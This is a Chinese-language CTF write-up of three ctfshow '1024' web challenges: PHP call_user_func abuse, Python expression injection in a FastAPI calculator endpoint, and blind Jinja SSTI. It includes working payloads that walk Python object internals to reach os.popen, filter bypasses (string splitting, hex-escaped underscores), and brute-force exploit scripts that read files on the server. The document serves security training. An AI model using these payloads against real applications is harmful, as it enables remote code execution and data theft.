今年1024忙得厲害,去大上海參加geekpwn膜拜大佬,幾家平台的題目沒怎么好好看。特別是小破站的比賽拉跨的一批,bytectf的web到了第二天晚上所有題的題解加在一起還沒有10解直接勸退(yuligeyyds!!!)。第回南京之后做了兩道1024的題目,難度偏簡單,在此記錄一下。
1.1024_WEB簽到
開題得源碼
1 <?php 2 3 /* 4 # -*- coding: utf-8 -*- 5 # @Author: h1xa 6 # @Date: 2020-10-20 23:59:00 7 # @Last Modified by: h1xa 8 # @Last Modified time: 2020-10-21 03:51:36 9 # @email: h1xa@ctfer.com 10 # @link: https://ctfer.com 11 12 */ 13 14 error_reporting(0); 15 highlight_file(__FILE__); 16 call_user_func($_GET['f']);
看到危險函數call_user_func($_GET['f']); 第一反應應該是上傳一句話木馬getshell,但是這里只傳入了一個參數進行執行,還以為是什么奇技淫巧,本地開了一個環境去測試。因為我在ubuntu的php環境是php5,所以在本地使用?f=assert(phpinfo())的時候確實是成功了,但是拿到題目環境里面插入一句話木馬一直沒能成功,才反應過來是php版本問題。
傳統的call_user_func 使用方法是call_user_func($func,$value),前面的是要執行的函數名字,后面是傳入函數的參數值。一般來說$func傳入的是assert,$value傳入我們要執行的代碼以達到rce的目的(在call_user_func中不能使用eval)。
本題因為只有一個傳入參數,並且傳入的默認為是$value,所以我們先傳入phpinfo試試,結果成功得到界面。
通過查看phpinfo的信息我們直接發現了一個可執行的函數:
傳入f=ctfshow_1024執行函數得到flag,簡單粗暴。
flag{welcome_2_ctfshow_1024_cup}
2.1024_fastapi
打開題目得到的是一個json數據,看了一眼題目fastapi,百度告訴我們FastAPI是基於python3.6+和標准python類型的一個現代化的,快速的(高性能),構建api的web框架。
- Fast: 非常高的性能,媲美nodejs和go。可用的最快的Python框架之一.
- Fast to Code 增加了200%~300%開發功能的速度
- Fewer Buys 減少了40%的人為開發錯誤
- Intuitive 偉大的編輯支持。減少了debug時間。
- Easy 簡單的使用和學習設計,減少了閱讀文檔的時間。
- Short 減少代碼重復,每個參數聲明的多個特性,更少的錯誤。
- Robust 獲得生產就緒代碼。自動交互文檔。
- Standards-based 基於開放的標准API: OpenAPI和JSON Schema
是python框架啊,那沒事了,盲猜ssti。掛一個萬能ssti文章:https://www.anquanke.com/post/id/188172。
稍微了解了一下fastapi得知它具有方便的api文檔/redoc和/docs 在本題中我們嘗試打開得到如下界面:
看到此站點下還有一個/cccalccc頁面,內容是一個計算器的實現,傳入參數q應該是一個可以執行的計算式,顯然我們的注入點就在這個q上面。幾次測試之后發現{payload}能夠實現注入,但是發現結果為list或string類型的都Internal Server Error或結果為空,嘗試將string切片顯示,發現成功出現回顯。編寫jio本康康有什么可以利用的模塊:
1 import requests 2 3 url='http://4cfb3ea5-9890-4c75-a6ef-9e64bfa8abc5.chall.ctf.show/cccalccc' 4 for i in range(500): 5 data={'q':'str([].__class__.__base__.__subclasses__()['+str(i)+'])[1:]'} 6 r=requests.post(url,data) 7 print(i ,r.text)
本題的環境是python3,所以利用方式要比python2中file模塊的調用復雜多了。主要是利用__builtins__中的函數進行文件讀取利用等等,而含有
__builtins__的內建函數有這些:
(59, <class 'warnings.WarningMessage'>, '__builtins__') (60, <class 'warnings.catch_warnings'>, '__builtins__') (61, <class '_weakrefset._IterationGuard'>, '__builtins__') (62, <class '_weakrefset.WeakSet'>, '__builtins__') (72, <class 'site._Printer'>, '__builtins__') (77, <class 'site.Quitter'>, '__builtins__') (78, <class 'codecs.IncrementalEncoder'>, '__builtins__') (79, <class 'codecs.IncrementalDecoder'>, '__builtins__')
可以利用的內建函數還有os和linechache等,具體情況具體分析,多看看上面給出的那篇參考文章。
剛剛腳本跑出來的內建函數中發現了188.warnings.WarningMessage和189
warnings.catch_warnings,可以進行利用
嘗試列出當前目錄下的所有文件
1 import requests 2 3 url = 'http://4cfb3ea5-9890-4c75-a6ef-9e64bfa8abc5.chall.ctf.show/cccalccc' 4 payload = '{str([].__class__.__base__.__subclasses__()[188].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').system(\'ls\'))[1:]}' 5 data = {'q':payload} 6 r = requests.post(url,data) 7 print(r.text)
//{"res":"hack out!","err":false}
發現過濾了system和import,import嘗試使用im+port進行繞過,system使用popen代替,結尾要使用.read(),不然沒有回顯。
關於popen:
用法:os.popen(command[,mode[,bufsize]])
說明:mode – 模式權限可以是 ‘r’(默認) 或 ‘w’。
popen方法通過p.read()獲取終端輸出,而且popen需要關閉close().當執行成功時,close()不返回任何值,失敗時,close()返回系統返回值(失敗返回1). 可見它獲取返回值的方式和os.system不同。
把payload改成
payload = '{str([].__class__.__base__.__subclasses__()[189].__init__.__globals__[\'__builtins__\'][\'__imp\'+\'ort__\'](\'os\').__dict__[\'pop\'+\'en\'](\'ls\').read())[1:]}'
成功讀取到當前的文件列表:{"res":["ain.py\nstart.sh\n"],"err":false}
因為我們使用的是切片回顯,所以第一個文件應該是main.py,m被切掉了。我們嘗試去讀取main.py的內容,結果如下:
找到提示告訴我們flag在/mnt/f1a9里面,直接讀取獲得flag:
flag{ea066230-29c9-4cbb-b1b9-2e8b4edf4abf}
后期復現內容:
3.1024_hello_world
打開題目之后出現hello:key的字樣,嘗試去post傳值key發現key的值是我們可控的,試了幾個ssti注入后發現形如key={%if ""!=1%}wdnmd{%endif%}和
key={%if []!=1%}wdnmd{%endif%}能夠回顯出wdnmd,然后我們嘗試進行當前模塊的爆破:
key={%if "".__class__!=1%}wdnmd{%endif%},瀏覽器返回錯誤代碼500,我們的payload應該是被waf攔截了。關於各種繞過姿勢掛一篇文章,講的很全:https://www.cnblogs.com/20175211lyz/p/11425368.html
幾次測試后發現本題只是攔截了"_",使用十六進制編碼進行繞過即可。key={%if []["\x5f\x5fclass\x5f\x5f"]!=1%}wdnmd{%endif%}
在這里講一個小細節,如果你使用hackbar或者python的requests庫直接傳值含有編碼的字符串時需要先將\進行轉義,否則系統會幫你自動進行一次轉義。而用burpsuite傳值就不會出現這個問題。
考點二:ssti的盲注
因為本題並沒有直接的注入回顯,所以我們需要利用自動化腳本去進行爆破。
先尋找可以利用的模塊:
1 import requests 2 url = 'http://01a8c7e5-74f8-42f3-abb2-8d5c052660d1.chall.ctf.show/' 3 ''' 4 payload = '{%if""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()!=1%}wdnmd{%endif%}' 5 data = {'key':payload} 6 r = requests.post(url,data) 7 print(r.text) 8 ''' 9 10 for i in range(1,200): 11 payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()['+str(i)+']["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")!=1%}wdnmd{%endif%}' 12 # real_payload = '"".__class__.__base__.__subclasses__()[?].__init__.__globals__["__builtins__"]["__import__"]("os")' 13 data = {'key':payload} 14 r = requests.post(url,data) 15 if r.status_code == 200: 16 print(i)
如果當前模塊含有我們可以利用的builtins,當我們發送第12行注釋里面的payload時系統會返回hello:wdnmd,此時?即為我們利用的模塊序號,爆破結果如下:
可以利用的模塊有很多,接下來就是利用盲注腳本去查看當前目錄和根目錄,在這里踩了個雷,因為此時的payload不管爆破對錯返回的狀態碼都是200,所以不能用r.status_code==200去進行判斷,當字符匹配的時候服務器會返回wdnmd字樣,利用wdnmd去進行爆破。
1 import requests 2 import string 3 abt = string.ascii_lowercase+string.digits+'-_{}' 4 url = 'http://01a8c7e5-74f8-42f3-abb2-8d5c052660d1.chall.ctf.show/' 5 cmd = 'ls /' 6 ans = '' 7 for i in range(0,80): 8 for le in abt: 9 payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}wdnmd{%endif%}' 10 data = {'key':payload} 11 r = requests.post(url,data) 12 if 'wdnmd' in r.text: 13 ans += le 14 print('ans = '+ans) 15 break
在根目錄下面發現了ctfshow的信息:
最終exp:
1 import requests 2 import string 3 abt = string.ascii_lowercase+string.digits+'-_{}' 4 url = 'http://01a8c7e5-74f8-42f3-abb2-8d5c052660d1.chall.ctf.show/' 5 cmd = 'cat /ctfshow*' 6 ans = '' 7 for i in range(0,80): 8 for le in abt: 9 payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}wdnmd{%endif%}' 10 data = {'key':payload} 11 r = requests.post(url,data) 12 if 'wdnmd' in r.text: 13 ans += le 14 print('ans = '+ans) 15 break
flag{7069c751-5cf9-4674-a8cd-750d0b71d436}